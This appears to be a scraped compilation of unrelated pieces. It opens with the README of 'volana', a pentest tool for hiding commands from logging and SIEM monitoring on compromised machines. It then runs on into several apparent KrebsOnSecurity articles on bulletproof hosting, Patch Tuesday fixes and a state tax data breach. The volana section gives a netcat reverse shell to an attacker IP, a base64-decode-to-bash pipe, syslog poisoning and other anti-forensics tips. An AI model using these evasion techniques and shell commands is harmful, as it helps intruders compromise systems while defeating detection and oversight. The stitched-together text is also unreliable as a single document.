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During pentest, an important aspect is to be stealth. For this reason you should clear your tracks after your passage. Nevertheless, many infrastructures log command and send them to a SIEM in a real time making the afterwards cleaning part alone useless.volana provide a simple way to hide commands executed on compromised machine by providing it self shell runtime (enter your command, volana executes for you). Like this you clear your tracks DURING your passage
You need to get an interactive shell. (Find a way to spawn it, you are a hacker, it's your job ! otherwise). Then download it on target machine and launch it. that's it, now you can type the command you want to be stealthy executed
FreshRSS ## Download it from github release
## If you do not have internet access from compromised machine, find another way
curl -lO -L https://github.com/ariary/volana/releases/latest/download/volana
## Execute it
./volana
## You are now under the radar
volana » echo "Hi SIEM team! Do you find me?" > /dev/null 2>&1 #you are allowed to be a bit cocky
volana » [command]
Keyword for volana console: * ring: enable ring mode ie each command is launched with plenty others to cover tracks (from solution that monitor system call) * exit: exit volana console
Imagine you have a non interactive shell (webshell or blind rce), you could use encrypt and decrypt subcommand. Previously, you need to build volana with embedded encryption key.
On attacker machine
## Build volana with encryption key
make build.volana-with-encryption
## Transfer it on TARGET (the unique detectable command)
## [...]
## Encrypt the command you want to stealthy execute
## (Here a nc bindshell to obtain a interactive shell)
volana encr "nc [attacker_ip] [attacker_port] -e /bin/bash"
>>> ENCRYPTED COMMAND
Copy encrypted command and executed it with your rce on target machine
./volana decr [encrypted_command]
## Now you have a bindshell, spawn it to make it interactive and use volana usually to be stealth (./volana). + Don't forget to remove volana binary before leaving (cause decryption key can easily be retrieved from it)
Why not just hide command with echo [command] | base64 ? And decode on target with echo [encoded_command] | base64 -d | bash
Because we want to be protected against systems that trigger alert for base64 use or that seek base64 text in command. Also we want to make investigation difficult and base64 isn't a real brake.
Keep in mind that volana is not a miracle that will make you totally invisible. Its aim is to make intrusion detection and investigation harder.
By detected we mean if we are able to trigger an alert if a certain command has been executed.
Only the volana launching command line will be catched. 🧠 However, by adding a space before executing it, the default bash behavior is to not save it
.bash_history, ".zsh_history" etc ..opensnoop)script, screen -L, sexonthebash, ovh-ttyrec, etc..)pkill -9 script
screen is a bit more difficult to avoid, however it does not register input (secret input: stty -echo => avoid)volana with encryption /var/log/auth.log)sudo or su commandslogger -p auth.info "No hacker is poisoning your syslog solution, don't worry")LD_PRELOAD injection to make logSorry for the clickbait title, but no money will be provided for contibutors. 🐛
Let me know if you have found: * a way to detect volana * a way to spy console that don't detect volana commands * a way to avoid a detection system
The homepage of Stark Industries Solutions.
Two weeks before Russia invaded Ukraine in February 2022, a large, mysterious new Internet hosting firm called Stark Industries Solutions materialized and quickly became the epicenter of massive distributed denial-of-service (DDoS) attacks on government and commercial targets in Ukraine and Europe. An investigation into Stark Industries reveals it is being used as a global proxy network that conceals the true source of cyberattacks and disinformation campaigns against enemies of Russia.
At least a dozen patriotic Russian hacking groups have been launching DDoS attacks since the start of the war at a variety of targets seen as opposed to Moscow. But by all accounts, few attacks from those gangs have come close to the amount of firepower wielded by a pro-Russia group calling itself “NoName057(16).”
This graphic comes from a recent report from NETSCOUT about DDoS attacks from Russian hacktivist groups.
As detailed by researchers at Radware, NoName has effectively gamified DDoS attacks, recruiting hacktivists via its Telegram channel and offering to pay people who agree to install a piece of software called DDoSia. That program allows NoName to commandeer the host computers and their Internet connections in coordinated DDoS campaigns, and DDoSia users with the most attacks can win cash prizes.
The NoName DDoS group advertising on Telegram. Image: SentinelOne.com.
A report from the security firm Team Cymru found the DDoS attack infrastructure used in NoName campaigns is assigned to two interlinked hosting providers: MIRhosting and Stark Industries. MIRhosting is a hosting provider founded in The Netherlands in 2004. But Stark Industries Solutions Ltd was incorporated on February 10, 2022, just two weeks before the Russian invasion of Ukraine.
Security experts say that not long after the war started, Stark began hosting dozens of proxy services and free virtual private networking (VPN) services, which are designed to help users shield their Internet usage and location from prying eyes.
Proxy providers allow users to route their Internet and Web browsing traffic through someone else’s computer. From a website’s perspective, the traffic from a proxy network user appears to originate from the rented IP address, not from the proxy service customer.
These services can be used in a legitimate manner for several business purposes — such as price comparisons or sales intelligence — but they are also massively abused for hiding cybercrime activity because they can make it difficult to trace malicious traffic to its original source.
What’s more, many proxy services do not disclose how they obtain access to the proxies they are renting out, and in many cases the access is obtained through the dissemination of malicious software that turns the infected system into a traffic relay — usually unbeknownst to the legitimate owner of the Internet connection. Other proxy services will allow users to make money by renting out their Internet connection to anyone.
Spur.us is a company that tracks VPNs and proxy services worldwide. Spur finds that Stark Industries (AS44477) currently is home to at least 74 VPN services, and 40 different proxy services. As we’ll see in the final section of this story, just one of those proxy networks has over a million Internet addresses available for rent across the globe.
Raymond Dijkxhoorn operates a hosting firm in The Netherlands called Prolocation. He also co-runs SURBL, an anti-abuse service that flags domains and Internet address ranges that are strongly associated with spam and cybercrime activity, including DDoS.
Dijkxhoorn said last year SURBL heard from multiple people who said they operated VPN services whose web resources were included in SURBL’s block lists.
“We had people doing delistings at SURBL for domain names that were suspended by the registrars,” Dijkhoorn told KrebsOnSecurity. “And at least two of them explained that Stark offered them free VPN services that they were reselling.”
Dijkxhoorn added that Stark Industries also sponsored activist groups from Ukraine.
“How valuable would it be for Russia to know the real IPs from Ukraine’s tech warriors?” he observed.
Richard Hummel is threat intelligence lead at NETSCOUT. Hummel said when he considers the worst of all the hosting providers out there today, Stark Industries is consistently near or at the top of that list.
“The reason is we’ve had at least a dozen service providers come to us saying, ‘There’s this network out there inundating us with traffic,'” Hummel said. “And it wasn’t even DDoS attacks. [The systems] on Stark were just scanning these providers so fast it was crashing some of their services.”
Hummel said NoName will typically launch their attacks using a mix of resources rented from major, legitimate cloud services, and those from so-called “bulletproof” hosting providers like Stark. Bulletproof providers are so named when they earn or cultivate a reputation for ignoring any abuse complaints or police reports about activity on their networks.
Combining bulletproof providers with legitimate cloud hosting, Hummel said, likely makes NoName’s DDoS campaigns more resilient because many network operators will hesitate to be too aggressive in blocking Internet addresses associated with the major cloud services.
“What we typically see here is a distribution of cloud hosting providers and bulletproof hosting providers in DDoS attacks,” he said. “They’re using public cloud hosting providers because a lot of times that’s your first layer of network defense, and because [many companies are wary of] over-blocking access to legitimate cloud resources.”
But even if the cloud provider detects abuse coming from the customer, the provider is probably not going to shut the customer down immediately, Hummel said.
“There is usually a grace period, and even if that’s only an hour or two, you can still launch a large number of attacks in that time,” he said. “And then they just keep coming back and opening new cloud accounts.”
Stark Industries is incorporated at a mail drop address in the United Kingdom. UK business records list an Ivan Vladimirovich Neculiti as the company’s secretary. Mr. Neculiti also is named as the CEO and founder of PQ Hosting Plus S.R.L. (aka Perfect Quality Hosting), a Moldovan company formed in 2019 that lists the same UK mail drop address as Stark Industries.
Ivan Neculiti, as pictured on LinkedIn.
Reached via LinkedIn, Mr. Neculiti said PQ Hosting established Stark Industries as a “white label” of its brand so that “resellers could distribute our services using our IP addresses and their clients would not have any affairs with PQ Hosting.”
“PQ Hosting is a company with over 1,000+ of [our] own physical servers in 38 countries and we have over 100,000 clients,” he said. “Though we are not as large as Hetzner, Amazon and OVH, nevertheless we are a fast growing company that provides services to tens of thousands of private customers and legal entities.”
Asked about the constant stream of DDoS attacks whose origins have traced back to Stark Industries over the past two years, Neculiti maintained Stark hasn’t received any official abuse reports about attacks coming from its networks.
“It was probably some kind of clever attack that we did not see, I do not rule out this fact, because we have a very large number of clients and our Internet channels are quite large,” he said. “But, in this situation, unfortunately, no one contacted us to report that there was an attack from our addresses; if someone had contacted us, we would have definitely blocked the network data.”
DomainTools.com finds Ivan V. Neculiti was the owner of war[.]md, a website launched in 2008 that chronicled the history of a 1990 armed conflict in Moldova known as the Transnistria War and the Moldo-Russian war.
An ad for war.md, circa 2009.
Transnistria is a breakaway pro-Russian region that declared itself a state in 1990, although it is not internationally recognized. The copyright on that website credits the “MercenarieS TeaM,” which was at one time a Moldovan IT firm. Mr. Neculiti confirmed personally registering this domain.
The data breach tracking service Constella Intelligence reports that an Ivan V. Neculiti registered multiple online accounts under the email address dfyz_bk@bk.ru. Cyber intelligence firm Intel 471 shows this email address is tied to the username “dfyz” on more than a half-dozen Russian language cybercrime forums since 2008. The user dfyz on Searchengines[.]ru in 2008 asked other forum members to review war.md, and said they were part of the MercenarieS TeaM.
Back then, dfyz was selling “bulletproof servers for any purpose,” meaning the hosting company would willfully ignore abuse complaints or police inquiries about the activity of its customers.
DomainTools reports there are at least 33 domain names registered to dfyz_bk@bk.ru. Several of these domains have Ivan Neculiti in their registration records, including tracker-free[.]cn, which was registered to an Ivan Neculiti at dfyz_bk@bk.ru and referenced the MercenarieS TeaM in its original registration records.
Dfyz also used the nickname DonChicho, who likewise sold bulletproof hosting services and access to hacked Internet servers. In 2014, a prominent member of the Russian language cybercrime community Antichat filed a complaint against DonChicho, saying this user scammed them and had used the email address dfyz_bk@bk.ru.
The complaint said DonChicho registered on Antichat from the Transnistria Internet address 84.234.55[.]29. Searching this address in Constella reveals it has been used to register just five accounts online that have been created over the years, including one at ask.ru, where the user registered with the email address neculitzy1@yandex.ru. Constella also returns for that email address a user by the name “Ivan” at memoraleak.com and 000webhost.com.
Constella finds that the password most frequently used by the email address dfyz_bk@bk.ru was “filecast,” and that there are more than 90 email addresses associated with this password. Among them are roughly two dozen addresses with the name “Neculiti” in them, as well as the address support@donservers[.]ru.
Intel 471 says DonChicho posted to several Russian cybercrime forums that support@donservers[.]ru was his address, and that he logged into cybercrime forums almost exclusively from Internet addresses in Tiraspol, the capital of Transnistria. A review of DonChicho’s posts shows this person was banned from several forums in 2014 for scamming other users.
Cached copies of DonChicho’s vanity domain (donchicho[.]ru) show that in 2009 he was a spammer who peddled knockoff prescription drugs via Rx-Promotion, once one of the largest pharmacy spam moneymaking programs for Russian-speaking affiliates.
Mr. Neculiti told KrebsOnSecurity he has never used the nickname DonChicho.
“I may assure you that I have no relation to DonChicho nor to his bulletproof servers,” he said.
Below is a mind map that shows the connections between the accounts mentioned above.
A mind map tracing the history of the user Dfyz. Click to enlarge.
Earlier this year, NoName began massively hitting government and industry websites in Moldova. A new report from Arbor Networks says the attacks began around March 6, when NoName alleged the government of Moldova was “craving for Russophobia.”
“Since early March, more than 50 websites have been targeted, according to posted ‘proof’ by the groups involved in attacking the country,” Arbor’s ASERT Team wrote. “While NoName seemingly initiated the ramp of attacks, a host of other DDoS hacktivists have joined the fray in claiming credit for attacks across more than 15 industries.”
The German independent news outlet Correctiv.org last week published a scathing investigative report on Stark Industries and MIRhosting, which notes that Ivan Neculiti operates his hosting companies with the help of his brother, Yuri.
Image credit: correctiv.org.
The report points out that Stark Industries continues to host a Russian disinformation news outlet called “Recent Reliable News” (RRN) that was sanctioned by the European Union in 2023 for spreading links to propaganda blogs and fake European media and government websites.
“The website was not running on computers in Moscow or St. Petersburg until recently, but in the middle of the EU, in the Netherlands, on the computers of the Neculiti brothers,” Correctiv reporters wrote.
“After a request from this editorial team, a well-known service was installed that hides the actual web host,” the report continues. “Ivan Neculiti announced that he had blocked the associated access and server following internal investigations. “We very much regret that we are only now finding out that one of our customers is a sanctioned portal,” said the company boss. However, RRN is still accessible via its servers.”
Correctiv also points to a January 2023 report from the Ukrainian government, which found servers from Stark Industries Solutions were used as part of a cyber attack on the Ukrainian news agency “Ukrinform”. Correctiv notes the notorious hacker group Sandworm — an advanced persistent threat (APT) group operated by a cyberwarfare unit of Russia’s military intelligence service — was identified by Ukrainian government authorities as responsible for that attack.
Public records indicate MIRhosting is based in The Netherlands and is operated by 37-year old Andrey Nesterenko, whose personal website says he is an accomplished concert pianist who began performing publicly at a young age.
DomainTools says mirhosting[.]com is registered to Mr. Nesterenko and to Innovation IT Solutions Corp, which lists addresses in London and in Nesterenko’s stated hometown of Nizhny Novgorod, Russia.
This is interesting because according to the book Inside Cyber Warfare by Jeffrey Carr, Innovation IT Solutions Corp. was responsible for hosting StopGeorgia[.]ru, a hacktivist website for organizing cyberattacks against Georgia that appeared at the same time Russian forces invaded the former Soviet nation in 2008. That conflict was thought to be the first war ever fought in which a notable cyberattack and an actual military engagement happened simultaneously.
Responding to questions from KrebsOnSecurity, Mr. Nesterenko said he couldn’t say whether his network had ever hosted the StopGeorgia website back in 2008 because his company didn’t keep records going back that far. But he said Stark Industries Solutions is indeed one of MIRhsoting’s colocation customers.
“Our relationship is purely provider-customer,” Nesterenko said. “They also utilize multiple providers and data centers globally, so connecting them directly to MIRhosting overlooks their broader network.”
“We take any report of malicious activity seriously and are always open to information that can help us identify and prevent misuse of our infrastructure, whether involving Stark Industries or any other customer,” Nesterenko continued. “In cases where our services are exploited for malicious purposes, we collaborate fully with Dutch cyber police and other relevant authorities to investigate and take appropriate measures. However, we have yet to receive any actionable information beyond the article itself, which has not provided us with sufficient detail to identify or block malicious actors.”
In December 2022, security firm Recorded Future profiled the phishing and credential harvesting infrastructure used for Russia-aligned espionage operations by a group dubbed Blue Charlie (aka TAG-53), which has targeted email accounts of nongovernmental organizations and think tanks, journalists, and government and defense officials.
Recorded Future found that virtually all the Blue Charlie domains existed in just ten different ISPs, with a significant concentration located in two networks, one of which was MIRhosting. Both Microsoft and the UK government assess that Blue Charlie is linked to the Russian threat activity groups variously known as Callisto Group, COLDRIVER, and SEABORGIUM.
Mr. Nesterenko took exception to a story on that report from The Record, which is owned by Recorded Future.
“We’ve discussed its contents with our customer, Stark Industries,” he said. “We understand that they have initiated legal proceedings against the website in question, as they firmly believe that the claims made are inaccurate.”
Recorded Future said they updated their story with comments from Mr. Neculiti, but that they stand by their reporting.
Mr. Nesterenko’s LinkedIn profile says he was previously the foreign region sales manager at Serverius-as, a hosting company in The Netherlands that remains in the same data center as MIRhosting.
In February, the Dutch police took 13 servers offline that were used by the infamous LockBit ransomware group, which had originally bragged on its darknet website that its home base was in The Netherlands. Sources tell KrebsOnSecurity the servers seized by the Dutch police were located in Serverius’ data center in Dronten, which is also shared by MIRhosting.
Serverius-as did not respond to requests for comment. Nesterenko said MIRhosting does use one of Serverius’s data centers for its operations in the Netherlands, alongside two other data centers, but that the recent incident involving the seizure of servers has no connection to MIRhosting.
“We are legally prohibited by Dutch law and police regulations from sharing information with third parties regarding any communications we may have had,” he said.
A February 2024 report from security firm ESET found Serverius-as systems were involved in a series of targeted phishing attacks by Russia-aligned groups against Ukrainian entities throughout 2023. ESET observed that after the spearphishing domains were no longer active, they were converted to promoting rogue Internet pharmacy websites.
A review of the Internet address ranges recently added to the network operated by Stark Industries Solutions offers some insight into its customer base, usage, and maybe even true origins. Here is a snapshot (PDF) of all Internet address ranges announced by Stark Industries so far in the month of May 2024 (this information was graciously collated by the network observability platform Kentik.com).
Those records indicate that the largest portion of the IP space used by Stark is in The Netherlands, followed by Germany and the United States. Stark says it is connected to roughly 4,600 Internet addresses that currently list their ownership as Comcast Cable Communications.
A review of those address ranges at spur.us shows all of them are connected to an entity called Proxyline, which is a sprawling proxy service based in Russia that currently says it has more than 1.6 million proxies globally that are available for rent.
Proxyline dot net.
Reached for comment, Comcast said the Internet address ranges never did belong to Comcast, so it is likely that Stark has been fudging the real location of its routing announcements in some cases.
Stark reports that it has more than 67,000 Internet addresses at Santa Clara, Calif.-based EGIhosting. Spur says the Stark addresses involving EGIhosting all map to Proxyline as well. EGIhosting did not respond to requests for comment.
EGIhosting manages Internet addresses for the Cyprus-based hosting firm ITHOSTLINE LTD (aka HOSTLINE-LTD), which is represented throughout Stark’s announced Internet ranges. Stark says it has more than 21,000 Internet addresses with HOSTLINE. Spur.us finds Proxyline addresses are especially concentrated in the Stark ranges labeled ITHOSTLINE LTD, HOSTLINE-LTD, and Proline IT.
Stark’s network list includes approximately 21,000 Internet addresses at Hockessin, De. based DediPath, which abruptly ceased operations without warning in August 2023. According to a phishing report released last year by Interisle Consulting, DediPath was the fourth most common source of phishing attacks in the year ending Oct. 2022. Spur.us likewise finds that virtually all of the Stark address ranges marked “DediPath LLC” are tied to Proxyline.
Image: Interisle Consulting.
A large number of the Internet address ranges announced by Stark in May originate in India, and the names that are self-assigned to many of these networks indicate they were previously used to send large volumes of spam for herbal medicinal products, with names like HerbalFarm, AdsChrome, Nutravo, Herbzoot and Herbalve.
The anti-spam organization SpamHaus reports that many of the Indian IP address ranges are associated with known “snowshoe spam,” a form of abuse that involves mass email campaigns spread across several domains and IP addresses to weaken reputation metrics and avoid spam filters.
It’s not clear how much of Stark’s network address space traces its origins to Russia, but big chunks of it recently belonged to some of the oldest entities on the Russian Internet (a.k.a. “Runet”).
For example, many Stark address ranges were most recently assigned to a Russian government entity whose full name is the “Federal State Autonomous Educational Establishment of Additional Professional Education Center of Realization of State Educational Policy and Informational Technologies.”
A review of Internet address ranges adjacent to this entity reveals a long list of Russian government organizations that are part of the Federal Guard Service of the Russian Federation. Wikipedia says the Federal Guard Service is a Russian federal government agency concerned with tasks related to protection of several high-ranking state officials, including the President of Russia, as well as certain federal properties. The agency traces its origins to the USSR’s Ninth Directorate of the KGB, and later the presidential security service.
Stark recently announced the address range 213.159.64.0/20 from April 27 to May 1, and this range was previously assigned to an ancient ISP in St. Petersburg, RU called the Computer Technologies Institute Ltd.
According to a post on the Russian language webmaster forum searchengines[.]ru, the domain for Computer Technologies Institute — ctinet[.]ru — is the seventh-oldest domain in the entire history of the Runet.
Curiously, Stark also lists large tracts of Internet addresses (close to 48,000 in total) assigned to a small ISP in Kharkiv, Ukraine called NetAssist. Reached via email, the CEO of NetAssist Max Tulyev confirmed his company provides a number of services to PQ Hosting.
“We colocate their equipment in Warsaw, Madrid, Sofia and Thessaloniki, provide them IP transit and IPv4 addresses,” Tulyev said. “For their size, we receive relatively low number of complains to their networks. I never seen anything about their pro-Russian activity or support of Russian hackers. It is very interesting for me to see proofs of your accusations.”
Spur.us mapped the entire infrastructure of Proxyline, and found more than one million proxies across multiple providers, but by far the biggest concentration was at Stark Industries Solutions. The full list of Proxyline address ranges (.CSV) shows two other ISPs appear repeatedly throughout the list. One is Kharkiv, Ukraine based ITL LLC, also known as Information Technology Laboratories Group, and Integrated Technologies Laboratory.
The second is a related hosting company in Miami, called Green Floid LLC. Green Floid featured in a 2017 scoop by CNN, which profiled the company’s owner and quizzed him about Russian troll farms using proxy networks on Green Floid and its parent firm ITL to mask disinformation efforts tied to the Kremlin’s Internet Research Agency (IRA). At the time, the IRA was using Facebook and other social media networks to spread videos showing police brutality against African Americans in an effort to encourage protests across the United States.
Doug Madory, director of Internet analysis at Kentik, was able to see at a high level the top sources and destinations for traffic traversing Stark’s network.
“Based on our aggregate NetFlow, we see Iran as the top destination (35.1%) for traffic emanating from Stark (AS44477),” Madory said. “Specifically, the top destination is MTN Irancell, while the top source is Facebook. This data supports the theory that AS44477 houses proxy services as Facebook is blocked in Iran.”
On April 30, the security firm Malwarebytes explored an extensive malware operation that targets corporate Internet users with malicious ads. Among the sites used as lures in that campaign were fake Wall Street Journal and CNN websites that told visitors they were required to install a WSJ or CNN-branded browser extension (malware). Malwarebytes found a domain name central to that operation was hosted at Internet addresses owned by Stark Industries.
Image: threatdown.com
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Microsoft today released updates to fix more than 60 security holes in Windows computers and supported software, including two “zero-day” vulnerabilities in Windows that are already being exploited in active attacks. There are also important security patches available for macOS and Adobe users, and for the Chrome Web browser, which just patched its own zero-day flaw.
First, the zero-days. CVE-2024-30051 is an “elevation of privilege” bug in a core Windows library. Satnam Narang at Tenable said this flaw is being used as part of post-compromise activity to elevate privileges as a local attacker.
“CVE-2024-30051 is used to gain initial access into a target environment and requires the use of social engineering tactics via email, social media or instant messaging to convince a target to open a specially crafted document file,” Narang said. “Once exploited, the attacker can bypass OLE mitigations in Microsoft 365 and Microsoft Office, which are security features designed to protect end users from malicious files.”
Kaspersky Lab, one of two companies credited with reporting exploitation of CVE-2024-30051 to Microsoft, has published a fascinating writeup on how they discovered the exploit in a file shared with Virustotal.com.
Kaspersky said it has since seen the exploit used together with QakBot and other malware. Emerging in 2007 as a banking trojan, QakBot (a.k.a. Qbot and Pinkslipbot) has morphed into an advanced malware strain now used by multiple cybercriminal groups to prepare newly compromised networks for ransomware infestations.
CVE-2024-30040 is a security feature bypass in MSHTML, a component that is deeply tied to the default Web browser on Windows systems. Microsoft’s advisory on this flaw is fairly sparse, but Kevin Breen from Immersive Labs said this vulnerability also affects Office 365 and Microsoft Office applications.
“Very little information is provided and the short description is painfully obtuse,” Breen said of Microsoft’s advisory on CVE-2024-30040.
The only vulnerability fixed this month that earned Microsoft’s most-dire “critical” rating is CVE-2024-30044, a flaw in Sharepoint that Microsoft said is likely to be exploited. Tenable’s Narang notes that exploitation of this bug requires an attacker to be authenticated to a vulnerable SharePoint Server with Site Owner permissions (or higher) first and to take additional steps in order to exploit this flaw, which makes this flaw less likely to be widely exploited as most attackers follow the path of least resistance.
Five days ago, Google released a security update for Chrome that fixes a zero-day in the popular browser. Chrome usually auto-downloads any available updates, but it still may require a complete restart of the browser to install them. If you use Chrome and see a “Relaunch to update” message in the upper right corner of the browser, it’s time to restart.
Apple has just shipped macOS Sonoma 14.5 update, which includes nearly two dozen security patches. To ensure your Mac is up-to-date, go to System Settings, General tab, then Software Update and follow any prompts.
Finally, Adobe has critical security patches available for a range of products, including Acrobat, Reader, Illustrator, Adobe Substance 3D Painter, Adobe Aero, Adobe Animate and Adobe Framemaker.
Regardless of whether you use a Mac or Windows system (or something else), it’s always a good idea to backup your data and or system before applying any security updates. For a closer look at the individual fixes released by Microsoft today, check out the complete list over at the SANS Internet Storm Center. Anyone in charge of maintaining Windows systems in an enterprise environment should keep an eye on askwoody.com, which usually has the scoop on any wonky Windows patches.
Update, May 15, 8:28 a.m.: Corrected misattribution of CVE-2024-30051.
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For nearly a dozen years, residents of South Carolina have been kept in the dark by state and federal investigators over who was responsible for hacking into the state’s revenue department in 2012 and stealing tax and bank account information for 3.6 million people. The answer may no longer be a mystery: KrebsOnSecurity found compelling clues suggesting the intrusion was carried out by the same Russian hacking crew that stole of millions of payment card records from big box retailers like Home Depot and Target in the years that followed.
Questions about who stole tax and financial data on roughly three quarters of all South Carolina residents came to the fore last week at the confirmation hearing of Mark Keel, who was appointed in 2011 by Gov. Nikki Haley to head the state’s law enforcement division. If approved, this would be Keel’s third six-year term in that role.
The Associated Press reports that Keel was careful not to release many details about the breach at his hearing, telling lawmakers he knows who did it but that he wasn’t ready to name anyone.
“I think the fact that we didn’t come up with a whole lot of people’s information that got breached is a testament to the work that people have done on this case,” Keel asserted.
A ten-year retrospective published in 2022 by The Post and Courier in Columbia, S.C. said investigators determined the breach began on Aug. 13, 2012, after a state IT contractor clicked a malicious link in an email. State officials said they found out about the hack from federal law enforcement on October 10, 2012.
KrebsOnSecurity examined posts across dozens of cybercrime forums around that time, and found only one instance of someone selling large volumes of tax data in the year surrounding the breach date.
On Oct. 7, 2012 — three days before South Carolina officials say they first learned of the intrusion — a notorious cybercriminal who goes by the handle “Rescator” advertised the sale of “a database of the tax department of one of the states.”
“Bank account information, SSN and all other information,” Rescator’s sales thread on the Russian-language crime forum Embargo read. “If you purchase the entire database, I will give you access to it.”
A week later, Rescator posted a similar offer on the exclusive Russian forum Mazafaka, saying he was selling information from a U.S. state tax database, without naming the state. Rescator said the data exposed included Social Security Number (SSN), employer, name, address, phone, taxable income, tax refund amount, and bank account number.
“There is a lot of information, I am ready to sell the entire database, with access to the database, and in parts,” Rescator told Mazafaka members. “There is also information on corporate taxpayers.”
On Oct. 26, 2012, the state announced the breach publicly. State officials said they were working with investigators from the U.S. Secret Service and digital forensics experts from Mandiant, which produced an incident report (PDF) that was later published by South Carolina Dept. of Revenue. KrebsOnSecurity sought comment from the Secret Service, South Carolina prosecutors, and Mr. Keel’s office. This story will be updated if any of them respond. Update: The Secret Service declined to comment.
On Nov. 18, 2012, Rescator told fellow denizens of the forum Verified he was selling a database of 65,000 records with bank account information from several smaller, regional financial institutions. Rescator’s sales thread on Verified listed more than a dozen database fields, including account number, name, address, phone, tax ID, date of birth, employer and occupation.
Asked to provide more context about the database for sale, Rescator told forum members the database included financial records related to tax filings of a U.S. state. Rescator added that there was a second database of around 80,000 corporations that included social security numbers, names and addresses, but no financial information.
The AP says South Carolina paid $12 million to Experian for identity theft protection and credit monitoring for its residents after the breach.
“At the time, it was one of the largest breaches in U.S. history but has since been surpassed greatly by hacks to Equifax, Yahoo, Home Depot, Target and PlayStation,” the AP’s Jeffrey Collins wrote.
As it happens, Rescator’s criminal hacking crew was directly responsible for the 2013 breach at Target and the 2014 hack of Home Depot. The Target intrusion saw Rescator’s cybercrime shops selling roughly 40 million stolen payment cards, and 56 million cards from Home Depot customers.
Who is Rescator? On Dec. 14, 2023, KrebsOnSecurity published the results of a 10-year investigation into the identity of Rescator, a.k.a. Mikhail Borisovich Shefel, a 36-year-old who lives in Moscow and who recently changed his last name to Lenin.
Mr. Keel’s assertion that somehow the efforts of South Carolina officials following the breach may have lessened its impact on citizens seems unlikely. The stolen tax and financial data appears to have been sold openly on cybercrime forums by one of the Russian underground’s most aggressive and successful hacking crews.
While there are no indications from reviewing forum posts that Rescator ever sold the data, his sales threads came at a time when the incidence of tax refund fraud was skyrocketing.
Tax-related identity theft occurs when someone uses a stolen identity and SSN to file a tax return in that person’s name claiming a fraudulent refund. Victims usually first learn of the crime after having their returns rejected because scammers beat them to it. Even those who are not required to file a return can be victims of refund fraud, as can those who are not actually owed a refund from the U.S. Internal Revenue Service (IRS).
According to a 2013 report from the Treasury Inspector General’s office, the IRS issued nearly $4 billion in bogus tax refunds in 2012, and more than $5.8 billion in 2013. The money largely was sent to people who stole SSNs and other information on U.S. citizens, and then filed fraudulent tax returns on those individuals claiming a large refund but at a different address.
It remains unclear why Shefel has never been officially implicated in the breaches at Target, Home Depot, or in South Carolina. It may be that Shefel has been indicted, and that those indictments remain sealed for some reason. Perhaps prosecutors were hoping Shefel would decide to leave Russia, at which point it would be easier to apprehend him if he believed no one was looking for him.
But all signs are that Shefel is deeply rooted in Russia, and has no plans to leave. In January 2024, authorities in Australia, the United States and the U.K. levied financial sanctions against 33-year-old Russian man Aleksandr Ermakov for allegedly stealing data on 10 million customers of the Australian health insurance giant Medibank.
A week after those sanctions were put in place, KrebsOnSecurity published a deep dive on Ermakov, which found that he co-ran a Moscow-based IT security consulting business along with Mikhail Shefel called Shtazi-IT.
A Google-translated version of Shtazi dot ru. Image: Archive.org.
If only Patch Tuesdays came around infrequently — like total solar eclipse rare — instead of just creeping up on us each month like The Man in the Moon. Although to be fair, it would be tough for Microsoft to eclipse the number of vulnerabilities fixed in this month’s patch batch — a record 147 flaws in Windows and related software.
Yes, you read that right. Microsoft today released updates to address 147 security holes in Windows, Office, Azure, .NET Framework, Visual Studio, SQL Server, DNS Server, Windows Defender, Bitlocker, and Windows Secure Boot.
“This is the largest release from Microsoft this year and the largest since at least 2017,” said Dustin Childs, from Trend Micro’s Zero Day Initiative (ZDI). “As far as I can tell, it’s the largest Patch Tuesday release from Microsoft of all time.”
Tempering the sheer volume of this month’s patches is the middling severity of many of the bugs. Only three of April’s vulnerabilities earned Microsoft’s most-dire “critical” rating, meaning they can be abused by malware or malcontents to take remote control over unpatched systems with no help from users.
Most of the flaws that Microsoft deems “more likely to be exploited” this month are marked as “important,” which usually involve bugs that require a bit more user interaction (social engineering) but which nevertheless can result in system security bypass, compromise, and the theft of critical assets.
Ben McCarthy, lead cyber security engineer at Immersive Labs called attention to CVE-2024-20670, an Outlook for Windows spoofing vulnerability described as being easy to exploit. It involves convincing a user to click on a malicious link in an email, which can then steal the user’s password hash and authenticate as the user in another Microsoft service.
Another interesting bug McCarthy pointed to is CVE-2024-29063, which involves hard-coded credentials in Azure’s search backend infrastructure that could be gleaned by taking advantage of Azure AI search.
“This along with many other AI attacks in recent news shows a potential new attack surface that we are just learning how to mitigate against,” McCarthy said. “Microsoft has updated their backend and notified any customers who have been affected by the credential leakage.”
CVE-2024-29988 is a weakness that allows attackers to bypass Windows SmartScreen, a technology Microsoft designed to provide additional protections for end users against phishing and malware attacks. Childs said one of ZDI’s researchers found this vulnerability being exploited in the wild, although Microsoft doesn’t currently list CVE-2024-29988 as being exploited.
“I would treat this as in the wild until Microsoft clarifies,” Childs said. “The bug itself acts much like CVE-2024-21412 – a [zero-day threat from February] that bypassed the Mark of the Web feature and allows malware to execute on a target system. Threat actors are sending exploits in a zipped file to evade EDR/NDR detection and then using this bug (and others) to bypass Mark of the Web.”
Update, 7:46 p.m. ET: A previous version of this story said there were no zero-day vulnerabilities fixed this month. BleepingComputer reports that Microsoft has since confirmed that there are actually two zero-days. One is the flaw Childs just mentioned (CVE-2024-21412), and the other is CVE-2024-26234, described as a “proxy driver spoofing” weakness.
Satnam Narang at Tenable notes that this month’s release includes fixes for two dozen flaws in Windows Secure Boot, the majority of which are considered “Exploitation Less Likely” according to Microsoft.
“However, the last time Microsoft patched a flaw in Windows Secure Boot in May 2023 had a notable impact as it was exploited in the wild and linked to the BlackLotus UEFI bootkit, which was sold on dark web forums for $5,000,” Narang said. “BlackLotus can bypass functionality called secure boot, which is designed to block malware from being able to load when booting up. While none of these Secure Boot vulnerabilities addressed this month were exploited in the wild, they serve as a reminder that flaws in Secure Boot persist, and we could see more malicious activity related to Secure Boot in the future.”
For links to individual security advisories indexed by severity, check out ZDI’s blog and the Patch Tuesday post from the SANS Internet Storm Center. Please consider backing up your data or your drive before updating, and drop a note in the comments here if you experience any issues applying these fixes.
Adobe today released nine patches tackling at least two dozen vulnerabilities in a range of software products, including Adobe After Effects, Photoshop, Commerce, InDesign, Experience Manager, Media Encoder, Bridge, Illustrator, and Adobe Animate.
KrebsOnSecurity needs to correct the record on a point mentioned at the end of March’s “Fat Patch Tuesday” post, which looked at new AI capabilities built into Adobe Acrobat that are turned on by default. Adobe has since clarified that its apps won’t use AI to auto-scan your documents, as the original language in its FAQ suggested.
“In practice, no document scanning or analysis occurs unless a user actively engages with the AI features by agreeing to the terms, opening a document, and selecting the AI Assistant or generative summary buttons for that specific document,” Adobe said earlier this month.
